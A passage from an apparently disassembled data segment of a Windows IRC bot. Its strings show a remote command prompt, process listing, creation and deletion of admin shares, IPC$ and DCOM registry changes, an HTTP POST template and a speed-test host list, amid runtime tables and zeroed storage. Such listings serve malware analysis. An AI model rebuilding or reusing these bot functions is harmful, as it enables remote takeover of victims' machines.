2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o unk_43A468 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A18Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_43A498 db 2Dh ; - ; DATA XREF: sub_41A05C+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h unk_43A4C0 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A142o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h unk_43A4F0 db 2Dh ; - ; DATA XREF: sub_41A1B1+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_43A524 db 2Dh ; - ; DATA XREF: sub_41A1B1+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 off_43A548 dd offset dword_43A580 ; DATA XREF: sub_41A3C6+1B3o ; sub_41A6EA+17Ao align 10h dd offset dword_43A578 align 8 off_43A558 dd offset dword_43A574 ; DATA XREF: sub_41A6EA+1E3o dd offset off_43A570 dd offset dword_43A56C dd offset off_43A568 off_43A568 dd offset loc_5C3A40+4 ; DATA XREF: sub_41A3C6+217o ; ___:0043A564o dword_43A56C dd 2444h ; DATA XREF: ___:0043A560o off_43A570 dd offset loc_5C3A40+3 ; DATA XREF: ___:0043A55Co dword_43A574 dd 2443h ; DATA XREF: ___:off_43A558o dword_43A578 dd 494D4441h, 244Eh ; DATA XREF: ___:0043A550o dword_43A580 dd 24435049h, 0 ; DATA XREF: ___:off_43A548o dword_43A588 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2E5o ; sub_41A6EA+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43A5B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 10h dword_43A5E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A628o aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_43A60C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_43A630 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A595o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_43A65C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_43A680 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F8o ; sub_41A6EA:loc_41A818o aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_43A6B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F1o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_43A6EC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4D3o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_43A720 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo ; sub_41A6EA+EDo align 10h dword_43A770 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+91o ; sub_41A6EA+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_43A7A0 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_41A3C6:loc_41A433o dd 62617369h, 2E64656Ch, 0 dword_43A7C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A3C6+54o ; sub_41A6EA+54o align 10h dword_43A7F0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+2C3o aNetworkSharesA db '- Network shares added.',0 aC_1 db '%c:\',0 ; DATA XREF: sub_41A6EA+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_41A6EA+219o dword_43A820 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A889o ; sub_41A6EA:loc_41A95Ao aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43A848 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+198o ; sub_41A6EA+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43A868 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A811o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_43A8A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A7F3o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_43A8DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_43A91C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A6EA:loc_41A757o dd 6C62616Eh, 2E6465h dword_43A938 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h dword_43A990 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41ABFB+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41ABFB+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41ABFB+B6o align 10h aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41ABFB+AFo align 10h aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41ABFB+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o align 10h aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41ABFB+8Co align 10h aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41ABFB+85o align 10h aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41ABFB+7Eo align 10h aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41ABFB+77o align 10h aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41ABFB+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41ABFB+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41ABFB+5Bo align 10h aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41ABFB+4Do align 10h aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41ABFB+46o align 10h aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41ABFB+3Fo align 10h aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41ABFB+38o align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41ABFB+31o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41ABFB+2Ao align 10h aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41ABFB+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41ABFB+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41ABFB+15o dword_43AB9C dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AF8F+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43AC78 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AF8F+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o align 4 dword_43AC9C dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41B243+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43ACE0 dd offset loc_412F4E ; DATA XREF: sub_41B243:loc_41B2AFo off_43ACE4 dd offset dword_4E414C ; DATA XREF: sub_41B243:loc_41B2A5o dword_43ACE8 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B243+5Bo dword_43ACF0 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B243+48o unk_43AD00 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4BBo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 10h unk_43AD30 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4B4o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43AD5C dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41B302+1A0o dd 4C525520h, 2Eh unk_43AD78 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B495o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43ADB4 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41B302+18Co dd 64657469h, 2Eh dword_43ADD0 dd 2A2F2Ah ; DATA XREF: sub_41B302+3Bo word_43ADD4 dw 4 ; DATA XREF: sub_41B55B+10r align 4 dword_43ADD8 dd 6325h ; DATA XREF: ___:0041B89Co dword_43ADDC dd 0DFFh ; DATA XREF: ___:0041B6EAo dword_43ADE0 dd 51FFh ; DATA XREF: ___:0041B6DFo dword_43ADE4 dd 0EBFFh ; DATA XREF: ___:0041B6D4o dword_43ADE8 dd 201h ; DATA XREF: ___:0041B6BFo dword_43ADEC dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo dword_43AE00 dd 53F9A693h ; DATA XREF: sub_41C2B8+4w sub_41C2C2r ... align 10h dword_43AE10 dd 173Fh ; DATA XREF: sub_41D055+Dr dd 9875h, 9873h off_43AE1C dd offset sub_41D124 ; DATA XREF: ___:0041C164r dd offset nullsub_2 dd offset nullsub_2 dword_43AE28 dd 1B3Fh ; DATA XREF: sub_41D19B+Dr dword_43AE2C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D61D+2o ; sub_41D626+2o off_43AE40 dd offset sub_41C1A2 ; DATA XREF: sub_41E2C9+1Cr dword_43AE44 dd 2 ; DATA XREF: sub_423D98+Er ; sub_423DD1+46r ... dd 10h, 0 off_43AE50 dd offset off_43AE50 ; DATA XREF: sub_41F216+Do ; sub_41F216+69o ... off_43AE54 dd offset off_43AE50 ; DATA XREF: sub_41F216:loc_41F296r ; sub_41F216+89w ... dd offset dword_43AE68 dd offset dword_43AE68 dword_43AE60 dd 0FFFFFFFFh ; DATA XREF: sub_41F216r ; sub_41F35A:loc_41F3A7w dd 0FFFFFFFFh dword_43AE68 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043AE58o ; ___:0043AE5Co off_43CE70 dd offset off_43AE50 ; DATA XREF: sub_41F35A+15r ; sub_41F35A+20w ... dword_43CE74 dd 1E0h ; DATA XREF: sub_41BBE2+185r ; sub_41BEF3:loc_41BF2Fr ... off_43CE78 dd offset word_43CE82 ; DATA XREF: sub_41C0CE+23r ; sub_41C0CE:loc_41C12Fr ... off_43CE7C dd offset word_43CE82 ; DATA XREF: sub_42686F+18r db 2 dup(0) word_43CE82 dw 20h ; DATA XREF: sub_424FF8+18r ; ___:off_43CE78o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43D084 dd 1 ; DATA XREF: sub_41C0CE:loc_41C0D6r ; sub_41C0CE:loc_41C11Ar ... byte_43D088 db 2Eh ; DATA XREF: sub_420DB0:loc_4210A4r ; sub_420DB0+311r ... align 4 dd 1 off_43D090 dd offset aNull_0 ; DATA XREF: sub_41FF3F:loc_4202A3r ; sub_41FF3F+457r ; "(null)" off_43D094 dd offset aNull ; DATA XREF: sub_41FF3F+259r ; "(null)" byte_43D098 db 1 ; DATA XREF: sub_420749+E1r db 2, 4, 8 align 10h dword_43D0A0 dd 3A4h ; DATA XREF: sub_420749+2Fo dword_43D0A4 dd 82798260h, 21h, 0 ; DATA XREF: sub_420749+11Dr dword_43D0B0 dd 0DFA6h ; DATA XREF: sub_420749+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43D190 dd 1 ; DATA XREF: sub_420749+3Co ; sub_420C7F+Co dword_43D194 dd 16h ; DATA XREF: sub_420C7F:loc_420CB4r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43D2F8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420C7F+19o ; sub_420DB0:loc_421317o dword_43D300 dd 5Dh, 0 ; DATA XREF: sub_420DB0:loc_421207o dword_43D308 dd 14h ; DATA XREF: sub_421EC4+2o off_43D30C dd offset aExp ; DATA XREF: sub_421EC4:loc_421EE1r ; "exp" dd 1Dh, 427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h dd 13h, 427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h dd 0Fh, 427820h, 10h, 427818h, 5, 427810h, 1Eh, 42780Ch dd 12h, 427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h dd 15h, 4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h dd 18h, 4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h dd 23h, 4277B4h, 24h, 4277B0h dbl_43D3E0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+B7r ; sub_421BFF:loc_421CE6r ... dd 0 dd 0FFF80000h dbl_43D3F0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+92r ; sub_421BFF:loc_421CBEr ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43D408 dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr ; sub_4220AC+1Fr align 4 tbyte_43D414 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r align 10h off_43D420 dd offset sub_422540 ; DATA XREF: sub_41D13C+Fw ; sub_41FF3F+3AAr off_43D424 dd offset sub_4221D5 ; DATA XREF: sub_41D13C+5w ; sub_41FF3F+3E2r off_43D428 dd offset sub_42223B ; DATA XREF: sub_41D13C+14w ; sub_420DB0+430r off_43D42C dd offset sub_42217B ; DATA XREF: sub_41D13C+1Ew ; sub_41FF3F+3CBr off_43D430 dd offset sub_422223 ; DATA XREF: sub_41D13C+28w off_43D434 dd offset sub_422540 ; DATA XREF: sub_41D13C+32w dd offset sub_424F1C align 10h dd offset sub_422DFC off_43D444 dd offset sub_422DFC ; DATA XREF: sub_422E52+29r dword_43D448 dd 0C0000005h ; DATA XREF: sub_423638+Ar ; sub_423638+11o ... dword_43D44C dd 0Bh ; DATA XREF: sub_425D33+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43D4C0 dd 3 ; DATA XREF: ___:0042354Fr ; sub_425C06+C8r dword_43D4C4 dd 7 ; DATA XREF: ___:00423555r ; sub_425C06+CDr dword_43D4C8 dd 0Ah ; DATA XREF: sub_423638+4r ; sub_425D33+4r dword_43D4CC dd 8Ch ; DATA XREF: ___:00423579r ; ___:00423586w ... dword_43D4D0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F8E3:loc_41F964o ; sub_41FE2A:loc_41FEE7o dword_43D4D8 dd 2 ; DATA XREF: sub_423DD1+Eo ; sub_423DD1+28r off_43D4DC dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr ; sub_423DD1+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B74h, 9, 427B48h, 0Ah, 427B24h, 10h, 427AF8h dd 11h, 427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h dd 19h, 427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h dd 78h, 427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh dd 0FFh, 427940h off_43D568 dd offset dword_4DC020 ; DATA XREF: sub_423DD1+1Bo ; sub_42413E+55o align 10h dd offset dword_4DC020 dd 101h dword_43D578 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42413E+72o dd 1000h, 0 dword_43D588 dd 3 dup(0) ; DATA XREF: sub_41FE2A+50o ; sub_420CE6+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43D5A8 dd 3 dup(0) ; DATA XREF: sub_41FE2A+58o ; sub_420CE6:loc_420D04o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43D5D8 dd 84h dup(0) ; DATA XREF: sub_42413E+9Bo dword_43D7E8 dd 2 dup(0) ; DATA XREF: sub_42413E+69o dword_43D7F0 dd 2694h ; DATA XREF: sub_421861+3r ; sub_4218B4+46r align 8 dword_43D7F8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_424CFCo dword_43D810 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o dword_43D828 dd 2 dup(0) ; DATA XREF: sub_42600E+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43D988 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_42600E+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43DAE4 dd offset off_427CEC ; DATA XREF: ___:00427EC4o ; ___:00427FB0o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43DAFC dd offset off_427CEC ; DATA XREF: ___:off_427D78o ; ___:00427DB8o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43DB1C dd offset off_427CEC ; DATA XREF: ___:off_427DC0o ; ___:00427E04o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43DB3C dd offset off_427CEC ; DATA XREF: ___:off_427E0Co ; ___:00427E50o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43DB60 dd offset off_427CEC ; DATA XREF: ___:off_427E58o ; ___:00427E94o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_424F1C align 10h dword_43DB80 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o byte_43DB88 db 0 ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... align 10h dword_43DB90 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+AECo ... dd 5 dup(0) dword_43DBA8 dd 0 ; DATA XREF: sub_401ACD+B48r ; sub_415C40+60r dd 2D9h dup(0) dword_43E710 dd 0 ; DATA XREF: sub_401ACD+5D8Cr ; sub_401ACD+5E61r ... dd 7Fh dup(0) dword_43E910 dd 0 ; DATA XREF: sub_40B3BA+41w ; sub_40B4F5+40w ... dword_43E914 dd 0 ; DATA XREF: sub_40B3BA+47w ; sub_40B4F5+46w ... dword_43E918 dd 0 ; DATA XREF: sub_40B3BA+52w ; sub_40B4F5+3Ar ... dword_43E91C dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43E920 dd 0 ; DATA XREF: sub_40B4F5+75r ; sub_40B6D6+2Aw ... dword_43E924 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43E928 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5CD7r ... align 4 dd 1B89h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043492Co db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:004385C0o dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_43902Co dword_457444 dd 0E306h dup(0) dword_49005C dd 937Eh dup(0) ; DATA XREF: ___:off_432948o db 0 byte_4B4E55 db 3 dup(0) ; DATA XREF: ___:off_43165Co dd 0FBh dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438E98o dd 5932h dup(0) dword_4CB710 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B3BA+13o ... dword_4CB714 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_404494r ... dword_4CB718 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CB71C dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CB79C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CB7DC dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CB86C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CB870 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CB880 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CB884 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CB888 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8A2r word_4CB88C dw 0 ; DATA XREF: sub_401ACD+7BAFo ; ___:0040AFA9o ... align 10h dword_4CB890 dd 0 ; DATA XREF: sub_409909+4A7w ; sub_409909+4EBr dword_4CB894 dd 0 ; DATA XREF: sub_409909+65w ; sub_419C09+166r dword_4CB898 dd 0 ; DATA XREF: sub_409909+80Bw ; sub_409909+880r ... dword_4CB89C dd 0 ; DATA XREF: sub_409909+9D8w ; sub_409909+A43r ... dword_4CB8A0 dd 0 ; DATA XREF: sub_409909+98Aw ; sub_409909+A13r ... dword_4CB8A4 dd 0 ; DATA XREF: sub_409909+48Dw ; sub_409909+4DBr dword_4CB8A8 dd 0 ; DATA XREF: sub_409909+213w ; sub_409909+234r dword_4CB8AC dd 0 ; DATA XREF: sub_409909+9CBw ; sub_409909+A3Br ... dword_4CB8B0 dd 0 ; DATA XREF: sub_409909+372w ; sub_409909+3C7r ... dword_4CB8B4 dd 0 ; DATA XREF: sub_409909+40Fw ; sub_41AF8F+11Er dword_4CB8B8 dd 0 ; DATA XREF: sub_409909+37Fw ; sub_409909+3CFr ... dword_4CB8BC dd 0 ; DATA XREF: sub_409909+3C0w ; sub_4191DB+ADr dword_4CB8C0 dd 0 ; DATA XREF: sub_409909+55Aw ; sub_40FAD6+115r ... dword_4CB8C4 dd 0 ; DATA XREF: sub_409909+72w ; sub_409909+D2r ... dword_4CB8C8 dd 0 ; DATA XREF: 